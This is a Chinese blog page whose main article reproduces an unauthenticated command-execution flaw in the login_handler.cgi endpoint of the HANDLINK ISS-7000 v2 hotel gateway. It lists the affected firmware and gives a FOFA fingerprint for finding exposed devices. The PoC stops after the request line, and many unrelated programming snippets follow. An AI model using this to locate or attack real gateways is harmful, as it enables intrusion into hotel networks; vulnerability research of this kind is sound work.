当前位置： 首页 > news >正文

HANDLINK ISS-7000v2 网关 login_handler.cgi 未授权RCE漏洞复现

news 2026/2/10 23:03:37

0x01 产品简介

瀚霖科技股份有限公司ISS-7000 v2网络网关服务器是台高性能的网关，提供各类酒店网络认证计费的完整解决方案。由于智慧手机与平板电脑日渐普及，人们工作之时开始使用随身携带的设备，因此无线网络也成为网络使用者基本服务的项目。ISS-7000 v2可登录300至1000终端设备同时上网，并发量是一般设备的好几倍。为了提供安全上网服务，本公司专利技术所设计的动态使用者帐户生成器，能避免非使用者侵入酒店内部网络。

0x02 漏洞概述

瀚霖科技股份有限公司ISS-7000 v2网络网关服务器 /login_handler.cgi接口存在远程命令执行漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意系统命令，写入后门文件，获取服务器权限。

0x03 影响范围

ISS-7000 v2固件版本1.00.06 、1.00.08

0x04 复现环境

FOFA：icon_hash="-842942564"

0x05 漏洞复现

PoC

POST /login_handler.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Win

相关文章：

HANDLINK ISS-7000v2 网关 login_handler.cgi 未授权RCE漏洞复现

0x01 产品简介 瀚霖科技股份有限公司ISS-7000 v2网络网关服务器是台高性能的网关，提供各类酒店网络认证计费的完整解决方案。由于智慧手机与平板电脑日渐普及，人们工作之时开始使用随身携带的设备，因此无线网络也成为网络使用者基本服务的项目。ISS-7000 v2可登录300至1000…...

编程日记 2024/11/8 4:46:12

基于Multisim串联型连续可调直流稳压正电源电路设计与仿真

设计任务和要求： （1）输出直流电压 1.5∽10V 可调； （2）输出电流 IOm300mA；（有电流扩展功能） （3）稳压系数 Sr≤0.05； （4&…...

编程日记 2024/11/8 4:43:09

【QT】Qt文件和多线程

个人主页~ Qt系统内容 一、Qt文件1、文件读写读写 2、文件和目录信息 二、多线程1、线程使用timethread.hwidget.htimethread.cppwidget.cpp 2、线程安全（1）互斥锁QMutexQMutexLocker一个例子mythread.hmythread.cppwidget.cpp QReadWriteLocker、QReadL…...

编程日记 2024/11/8 4:42:08

PN结如何实现不同反向耐压及达到高反向耐压

目录 1. PN结实现不同耐压值 2. PN如何达到高反向耐压 1. PN结实现不同耐压值 主要通过以下几个方面： • PN结设计：不同耐压值的二极管在PN结的设计上有所不同。通过调整PN结的宽度和深度，可以改变空间电荷区的大小，从而影响二极…...

编程日记 2024/11/8 4:41:07

【bug日志-水】解决本地开发下代理和url同名导致刷新404的问题

bug描述 在本地开发，并且路由是history的模式下，代理和url同名的情况下，刷新会404。 {path: /googleAds,//如果有个代理也叫googleAds，刷新时就会404name: googleAds,icon: sound,routes: [{path: /googleAds/GoogleAdsSettingPag…...

编程日记 2024/11/8 4:38:04

Hive面试题-- 查询各类型专利 top10 申请人及专利申请数

在数据处理中，尤其是涉及到专利信息等复杂数据时，Hive 是一个强大的工具。本文将详细介绍如何使用 Hive 查询语句来获取各类型专利 top10 申请人以及他们对应的专利申请数，以下是基于给定的 t_patent_detail 表结构的分析和查询步骤。 建表语…...

编程日记 2024/11/8 4:36:03

996引擎 - 活捉NPC

996引擎 - 活捉NPC 引擎触发 - 引擎事件(QF)事件处理模块 GameEvent测试文件参考资料 引擎触发 - 引擎事件(QF) cfg_game_data 配置 ShareNpc1 可以将QM和机器人的触发事件全部转到 QF 引擎触发是通用的,TXT的所有触发转换成小写后在LUA中就可使用,如说明书中缺省可反馈至对接群…...

编程日记 2024/11/8 4:35:02

航展畅想：从F35机载软件研发来看汽车车载软件研发

两款经典战机的机载软件 F-22和F-35战斗机的研制分别始于1980年代和1990年代末，F-22项目在1981年启动，主要由洛克希德马丁（Lockheed Martin）和波音公司（Boeing）合作开发，以满足美军“先进战术战…...

编程日记 2024/11/8 4:34:01

用Dify搭建AI知识库

Dify 可以上传各种格式文档和抓取网页数据训练自已的知识库 一 安装 1 Docker安装 我基于Docker来安装的，所以本机先装Docker Desktop, Docker 安装方法在这里 2 Dify 安装 git clone https://github.com/langgenius/dify.git cd dify/docker copy .env.exampl…...

编程日记 2024/11/8 4:32:59

架构师：如何提高web网站的请求并发响应量？

文章目录 一、提出问题二、相关概念三、如何提高网站请求响应能力？四、负载均衡有那些方式？五、常用微服务架构图及推荐书籍 一、提出问题 今天，突然想到一个问题，双十一，那些电商网站的并发量是多大？ 简…...

编程日记 2024/11/8 4:31:58

图论基础--孤岛系列

孤岛系列有： 孤岛总面积求解（用了dfs、bfs两种方法）和沉没孤岛（这里只写了dfs一种） 简单解释一下： 题目中孤岛的定义是与边缘没有任何接触的（也就是不和二维数组的最外圈连接）&…...

编程日记 2024/11/8 4:30:58

Docker学习—Docker的安装与使用

Docker安装 1.卸载旧版 首先如果系统中已经存在旧的Docker，则先卸载： yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine2.配置Docker的yum库 首先…...

编程日记 2024/11/8 4:29:57

HC-SR04超声波传感器详解（STM32）

HC-SR04是一款广泛使用的超声波传感器，它通过发射和接收超声波来测量距离。本文将详细介绍HC-SR04的工作原理、引脚描述、STM32的接线方式以及如何通过STM32控制HC-SR04来测量距离。 一、HC-SR04传感器介绍 HC-SR04超声波传感器的主要参数如下： 工作电…...

编程日记 2024/11/8 4:28:54

如何在BSV区块链上实现可验证AI

​​发表时间：2024年10月2日 nChain的顶尖专家们已经找到并成功测试了一种方法：通过区块链技术来验证AI（人工智能）系统的输出结果。这种方法可以确保AI模型既按照规范运行，避免严重错误，遵守诸如公平、透明…...

编程日记 2024/11/8 4:27:53

Python快速安装软件包到环境的方案

问题描述 直接在终端输入，显示安装numpy包要20分钟， pip install numpyxxx.whl解决方案 直接搜索pip install 后在终端显示的.whl文件，在pypi.org官网下载， 之后在终端进入下载目录，从.whl文件安装软件包即可 pip …...

编程日记 2024/11/8 4:24:50

npm入门教程17：准备发布的npm包

一、环境准备 安装Node.js和npm： 确保你的计算机上已安装Node.js和npm。可以通过运行node -v和npm -v命令来检查它们的版本。如果没有安装，可以从Node.js官方网站下载并安装最新版本。 注册npm账号： 访问npm官网，点击“Sign Up”…...

编程日记 2024/11/8 4:22:48

协程1 --- 发展历史

文章目录 一个编译器问题背景解决 协程为什么一开始没发展成一等公民？自顶向下、逐步求精（Top-down, stepwise refinement）线程的出现 协程的雄起IO密集型同步语义实现异步发展史 线程和协程的关系并发性调度方式资源占用 一个编译器问题 协…...

编程日记 2024/11/8 4:21:47

VBA10-处理Excel的动态数据区域

end获取数据边界 1、基本语法 1-1、示例： 2、配合row和column使用 2-1、示例1 2-2、示例2 此时，不管这个有数值的区域，怎么增加边界，对应的统计数据也会跟着变的！...

编程日记 2024/11/8 4:18:44

【git】使用记录

一、安装 参考：Git2.45.2下载安装记录（windows 11）_win11安装git-CSDN博客...

编程日记 2024/11/8 4:16:43

代码随想录算法训练营第三十八天|Day38 动态规划

322. 零钱兑换 视频讲解：https://www.bilibili.com/video/BV14K411R7yv https://programmercarl.com/0322.%E9%9B%B6%E9%92%B1%E5%85%91%E6%8D%A2.html 思路 #define min(a, b) ((a) > (b) ? (b) : (a)) int coinChange(int* coins, int coinsSize, int amount…...

编程日记 2024/11/8 4:15:42

大话软工笔记—需求分析概述

需求分析，就是要对需求调研收集到的资料信息逐个地进行拆分、研究，从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要，后续设计的依据主要来自于需求分析的成果，包括: 项目的目的…...

编程新知 2026/1/28 10:58:50

Unity3D中Gfx.WaitForPresent优化方案

前言 在Unity中，Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染（即CPU被阻塞），这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案： 对惹，这里有一个游戏开发交流小组&…...

编程新知 2026/2/7 17:31:44

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽，大家好，我是左手python！ Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库，用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

编程新知 2025/10/8 10:56:25

Qt Widget类解析与代码注释

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码，写上注释 当然可以！这段代码是 Qt …...

编程新知 2025/11/29 21:00:30

实现弹窗随键盘上移居中

实现弹窗随键盘上移的核心思路 在Android中&#xff0c;可以通过监听键盘的显示和隐藏事件&#xff0c;动态调整弹窗的位置。关键点在于获取键盘高度&#xff0c;并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...

编程新知 2025/10/6 18:46:56

select、poll、epoll 与 Reactor 模式

在高并发网络编程领域&#xff0c;高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表&#xff0c;以及基于它们实现的 Reactor 模式&#xff0c;为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。​ 一、I…...

编程新知 2026/2/10 11:29:59

Swagger和OpenApi的前世今生

Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章&#xff0c;二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑&#xff1a; &#x1f504; 一、起源与初创期&#xff1a;Swagger的诞生&#xff08;2010-2014&#xff09; 核心…...

编程新知 2026/1/25 9:08:41

优选算法第十二讲：队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

编程新知 2026/1/20 17:18:59

LeetCode - 199. 二叉树的右视图

题目 199. 二叉树的右视图 - 力扣&#xff08;LeetCode&#xff09; 思路 右视图是指从树的右侧看&#xff0c;对于每一层&#xff0c;只能看到该层最右边的节点。实现思路是&#xff1a; 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...

编程新知 2025/9/13 20:07:18

佰力博科技与您探讨热释电测量的几种方法

热释电的测量主要涉及热释电系数的测定&#xff0c;这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中&#xff0c;积分电荷法最为常用&#xff0c;其原理是通过测量在电容器上积累的热释电电荷&#xff0c;从而确定热释电系数…...

编程新知 2026/1/23 11:53:19